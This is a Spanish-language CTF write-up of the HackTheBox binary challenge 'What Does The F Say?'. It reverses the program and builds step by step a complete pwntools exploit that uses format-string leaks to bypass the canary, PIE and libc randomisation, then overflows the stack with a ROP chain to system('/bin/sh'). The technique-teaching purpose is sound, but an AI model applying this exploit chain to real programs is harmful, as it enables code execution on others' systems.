xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

What Does The F Say?



Reversing


Al ejecutar el binario muestra un contador de rocas y 2 menus para comidas y bebidas

❯ ./what_does_the_f_say

Welcome to Fox space bar!

Current space rocks: 69.69  

1. Space drinks
2. Space food

Iniciamos por desensamblar la función main, ésta es relativamente simple, solo llama a la función setup para el output, posteriormente a las funciones welcome y fox_bar

La función welcome simplemente muestra un mensaje con puts y sigue la ejecución

La función fox_bar inicia mostrando un menu y recibiendo un digito con scanf que se utilizará como opción en una estructura switch para elegir a que bloque saltar

Al final del bloque anterior se compara la variable option con 1, si el valor es 1 llama a la función drinks_menu, si es igual a 2 llama a la función food_menu

Iniciamos con la función drink_menu, utiliza memset para rellenar con 0's un total de 0x1e bytes de un buffer, luego muestra otro menú con puts y recibe un digito de opción con scanf, al final del bloque compara la opción con un 1 y realiza un salto

Si la opción es 1 disminuye la variable local srocks 4.9 unidades, llama a una función y compara si es menor que 20, si es asi muestra un mensaje con puts

Si la opción es igual a 2 muestra una pregunta con puts y recibe un buffer de 0x1d bytes con read, luego ese mismo buffer lo muestra con printf sin ningun formato causando una vulnerabilidad de format string, después llama a la función warning

La función warning compara si la variable global srocks es mayor que 20.0, si es mayor sigue la linea verde, si es menor o igual simplemente sigue la linea roja

Cuando la variable srocks es menor o igual a 20.0 muestra un mensaje y recibe una string con scanf que guarda en rbp - 32, esto puede ocasionar un buffer overflow


Explotación


Iniciamos mirando las protecciones con checksec, empezamos con el FULL RELRO nos impode escribir en la tabla got, el Canary establece una variable local en rbp - 8 que comprueba que no se haya modificado antes de retornar, el NX nos impide ejecutar shellcode en el stack y el PIE hace aleatoria la dirección base del binario

❯ checksec what_does_the_f_say
[*] '/home/user/what_does_the_f_say'  
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Sabemos que luego de la pregunta existe un format string, si enviamos varios %p logramos hacer leaks de diferentes puntero interesante separados por un .

1. Space drinks
2. Space food
1

1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2

Red or Green Kryptonite?
%p.%p.%p.%p.%p.%p.%p.%p.%p
0x7ffc11d66430.0x1d.0x7990fc910191.0x19.(nil).0x2f2f2f2f2f2f2f2f.0x200000000.0x70252e70252e7025.0x252e70252e70252e  

Enjoy your Kryptonite vodka!

Current space rocks: 62.79

1. Space drinks
2. Space food

El siguiente script en python itera sobre las posiciones del 1 al 9 que es la cantidad máxima debido a que tenemos la limitación de srocks, de esta forma podemos ver algunos punteros filtrados sin embargo ninguno de ellos nos es de verdadero interés

#!/usr/bin/python3
from pwn import process, log

shell = process("./what_does_the_f_say")

for i in range(1, 10):
    shell.sendlineafter(b"Space food\n", b"1")
    shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
    shell.sendlineafter(b"Kryptonite?\n", f"%{i}$p".encode())  

    leak = shell.recvline().strip().decode()

    log.info(f"{i}: {leak}")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process './what_does_the_f_say': pid 225635
[*] 1: 0x7ffe1d404be0
[*] 2: 0x1d
[*] 3: 0x7f685a910191
[*] 4: 0x19
[*] 5: (nil)
[*] 6: 0x2f2f2f2f2f2f2f2f
[*] 7: 0x200000000
[*] 8: 0xa70243825
[*] 9: (nil)
[*] Switching to interactive mode

You have less than 20 space rocks! Are you sure you want to buy it?  
$

Si miramos los punteros en las posiciones 10 al 18 encontramos otros punteros, la posición 13 pertenece a la stack cookie ya que sigue el formato normal terminando el qword en 00, la posición 15 pertenece a la función fox_bar, parte del binario

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./what_does_the_f_say", "continue")

for i in range(10, 19):
    shell.sendlineafter(b"Space food\n", b"1")
    shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
    shell.sendlineafter(b"Kryptonite?\n", f"%{i}$p".encode())  

    leak = shell.recvline().strip().decode()

    log.info(f"{i}: {leak}")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 226791
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']  
[*] 10: (nil)
[*] 11: (nil)
[*] 12: (nil)
[*] 13: 0x2725fd5658801000
[*] 14: 0x7ffe0b1bbca0
[*] 15: 0x60475e91274a
[*] 16: 0x1000000c2
[*] 17: 0x2725fd5658801000
[*] 18: 0x7ffe0b1bbcd0
[*] Switching to interactive mode

You have less than 20 space rocks! Are you sure you want to buy it?
$

La posición 15 apunta a la función fox_bar, esta dirección es parte del binario y si restamos el offset de 0x174a bytes deberiamos poder obtener la dirección base

^C
Program received signal SIGINT, Interrupt.
0x00007e3b83b10191 in read () from ./libc.so.6
pwndbg> x/i 0x60475e91274a
   0x60475e91274a <fox_bar+106>:        jmp    0x60475e912764 <fox_bar+132>
pwndbg> vmmap what_does_the_f_say
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
►   0x60475e911000     0x60475e912000 r--p     1000      0 /home/user/what_does_the_f_say
►   0x60475e912000     0x60475e913000 r-xp     1000   1000 /home/user/what_does_the_f_say
►   0x60475e913000     0x60475e914000 r--p     1000   2000 /home/user/what_does_the_f_say
►   0x60475e914000     0x60475e915000 r--p     1000   2000 /home/user/what_does_the_f_say
►   0x60475e915000     0x60475e916000 rw-p     1000   3000 /home/user/what_does_the_f_say  
►   0x60475e916000     0x60475e918000 rw-p     2000   5000 /home/user/what_does_the_f_say  
    0x7e3b83a00000     0x7e3b83be7000 r-xp   1e7000      0 /home/user/libc.so.6
pwndbg> p/x 0x60475e91274a - 0x60475e911000
$1 = 0x174a
pwndbg>

Entonces, hacemos un leak con los punteros en la posición 13 y 15, a éste último le restamos el offset y de esta forma obtenemos la stack cookie y la dirección base del binario, con esto ya evadimos 2 de las protecciones que son el Canary y el PIE

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./what_does_the_f_say", "continue")  

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a

log.info(f"Canary: {hex(canary)}")
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

Lo ejecutamos para comprobar que funciona, esto nos muestra la stack cookie y una dirección que si comparamos con la dirección base del binario es justo la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 228144
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']  
[*] Canary: 0xc71c366111d4ba00
[*] Binary base: 0x57935ae9c000
[*] Switching to interactive mode

Enjoy your Kryptonite vodka!

Current space rocks: 62.79

1. Space drinks
2. Space food
$

^C
Program received signal SIGINT, Interrupt.
0x00007c9ddb910191 in read () from ./libc.so.6
pwndbg> vmmap what_does_the_f_say
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
►   0x57935ae9c000     0x57935ae9d000 r--p     1000      0 /home/user/what_does_the_f_say
►   0x57935ae9d000     0x57935ae9e000 r-xp     1000   1000 /home/user/what_does_the_f_say
►   0x57935ae9e000     0x57935ae9f000 r--p     1000   2000 /home/user/what_does_the_f_say
►   0x57935ae9f000     0x57935aea0000 r--p     1000   2000 /home/user/what_does_the_f_say
►   0x57935aea0000     0x57935aea1000 rw-p     1000   3000 /home/user/what_does_the_f_say  
►   0x57935aea1000     0x57935aea3000 rw-p     2000   5000 /home/user/what_does_the_f_say  
    0x7c9ddb800000     0x7c9ddb9e7000 r-xp   1e7000      0 /home/user/libc.so.6
pwndbg>

Al inicio cuando lekeamos algunos punteros podemos notar que a partir de la posición 8 los valores son un reflejo de nuestros datos en punteros hexadecimales

❯ unhex 70252e70252e7025 | rev  
%p.%p.%p

❯ unhex 252e70252e70252e | rev  
%.p%.p%.

Entonces, podemos enviar %9$p para hacer un leak de la posición 9 y luego rellenar con . a 8 bytes que es el tamaño del puntero, luego enviamos AAAABBBB, el resultado es que el leak muestra estos caractéres de la posición 9 como puntero

1. Space drinks
2. Space food
1

1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)  
3. Deathstar(70.00 s.rocks)
2

Red or Green Kryptonite?
%9$p....AAAABBBB
0x4242424241414141....AAAABBBB

Enjoy your Kryptonite vodka!

Current space rocks: 62.79

1. Space drinks
2. Space food

Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got de la función puts que contiene una referencia a su posición en libc

pwndbg> x/i puts
   0x1030 <puts@plt>:   jmp    QWORD PTR [rip+0x2f5a]        # 0x3f90 <puts@got.plt>  
pwndbg>

También necesitamos el offset ésta la misma función pero en libc que obtenemos con libcdb, esto para restarle esa cantidad al leak y obtener la dirección base de libc

❯ libcdb file libc.so.6
[*] libc.so.6
    Version:     2.27
    BuildID:     d3cf764b2f97ac3efe366ddd07ad902fb6928fd7
    MD5:         35ef4ffc9c6ad7ffd1fd8c16f14dc766
    SHA1:        a22321cd65f28f70cf321614fdfd22f36ecd0afe
    SHA256:      f0ad9639b2530741046e06c96270b25da2339b6c15a7ae46de8fb021b3c4f529  
    Symbols:
        __libc_start_main_ret = 0x21b97
                         dup2 = 0x110ab0
                       printf = 0x64f00
                         puts = 0x80a30
                         read = 0x110180
                   str_bin_sh = 0x1b40fa
                       system = 0x4f4e0
                        write = 0x110250

Ahora nuestro exploit usa el formato %9$s para mostrar como string el contenido de la posición 9, rellenamos el qword y para esa posición le pasamos la entrada got de la función puts, entonces ejecutará algún tipo de printf(puts@got) que muestra la dirección de puts en memoria y al restar el offset nos da la dirección base de libc

#!/usr/bin/python3
from pwn import gdb, p64, u64, log

shell = gdb.debug("./what_does_the_f_say", "continue")

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a

payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)

libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30  
log.info(f"Libc base: {hex(libc_base)}")

shell.interactive()

Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb es exactamente la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 230232
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']  
[*] Libc base: 0x7c1855e00000
[*] Switching to interactive mode

1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
$

^C
Program received signal SIGINT, Interrupt.
0x00007c1855f10191 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x5a2d25eab000     0x5a2d25ead000 rw-p     2000   5000 /home/user/what_does_the_f_say  
►   0x7c1855e00000     0x7c1855fe7000 r-xp   1e7000      0 /home/user/libc.so.6
►   0x7c1855fe7000     0x7c18561e7000 ---p   200000 1e7000 /home/user/libc.so.6
►   0x7c18561e7000     0x7c18561eb000 r--p     4000 1e7000 /home/user/libc.so.6
►   0x7c18561eb000     0x7c18561ed000 rw-p     2000 1eb000 /home/user/libc.so.6
    0x7c1856200000     0x7c1856227000 r-xp    27000      0 /home/user/ld-2.27.so
pwndbg>

Vamos con la siguiente vulnerabilidad, mediante un bucle for restaremos srocks un total de 7 veces, hasta que sea menor a 20 unidades, entonces ya podemos explotar el buffer overflow el cual dijimos tenia un offset a la cookie de 24 bytes, ahí enviamos el canary, 8 B's para rbp y 8 C's para el return address, además un par de D's que se guardarán en el stack, asi tenemos el control del flujo de ejecución

#!/usr/bin/python3
from pwn import gdb, p64, u64

shell = gdb.debug("./what_does_the_f_say", "continue")

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a

payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)

libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30  

for i in range(7):
    shell.sendlineafter(b"Space food\n", b"1")
    shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
    shell.sendlineafter(b"Kryptonite?\n", b"Red")

offset = 24
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += b"C" * 8
payload += b"D" * 24

shell.sendlineafter(b"buy it?\n", payload)
shell.interactive()

Program received signal SIGSEGV, Segmentation fault.  
0x000063e156f7155c in warning ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7ffd1d323c68: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7ffd1d323c70: 'D' <repetidos 24 veces>
pwndbg>

Una vez controlamos el return address y los valores en el stack simplemente nos queda agregar un ropchain que nos devuelva una shell con system("/bin/sh");

#!/usr/bin/python3
from pwn import process, p64, u64

shell = process("./what_does_the_f_say")

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")

leak = shell.recvline().strip().split(b".")

canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a

payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got

shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)

libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30  

for i in range(7):
    shell.sendlineafter(b"Space food\n", b"1")
    shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
    shell.sendlineafter(b"Kryptonite?\n", b"Red")

offset = 24
junk = b"A" * offset

payload  = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += p64(libc_base + 0x0968ba) # pop rdi; ret;
payload += p64(libc_base + 0x1b40fa) # "/bin/sh"
payload += p64(libc_base + 0x0c7c5a) # ret;
payload += p64(libc_base + 0x04f4e0) # system()

shell.sendlineafter(b"buy it?\n", payload)
shell.interactive()

Entonces, en el exploit usamos el format string para lekear el canary y la dirección base del binario, ya con ello lekeamos la dirección base de libc para posteriormente explotar el buffer overflow que al ejecutar el ropchain nos devuelve una shell

❯ python3 exploit.py
[+] Starting local process './what_does_the_f_say': pid 231378  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) grupos=1000(user)
$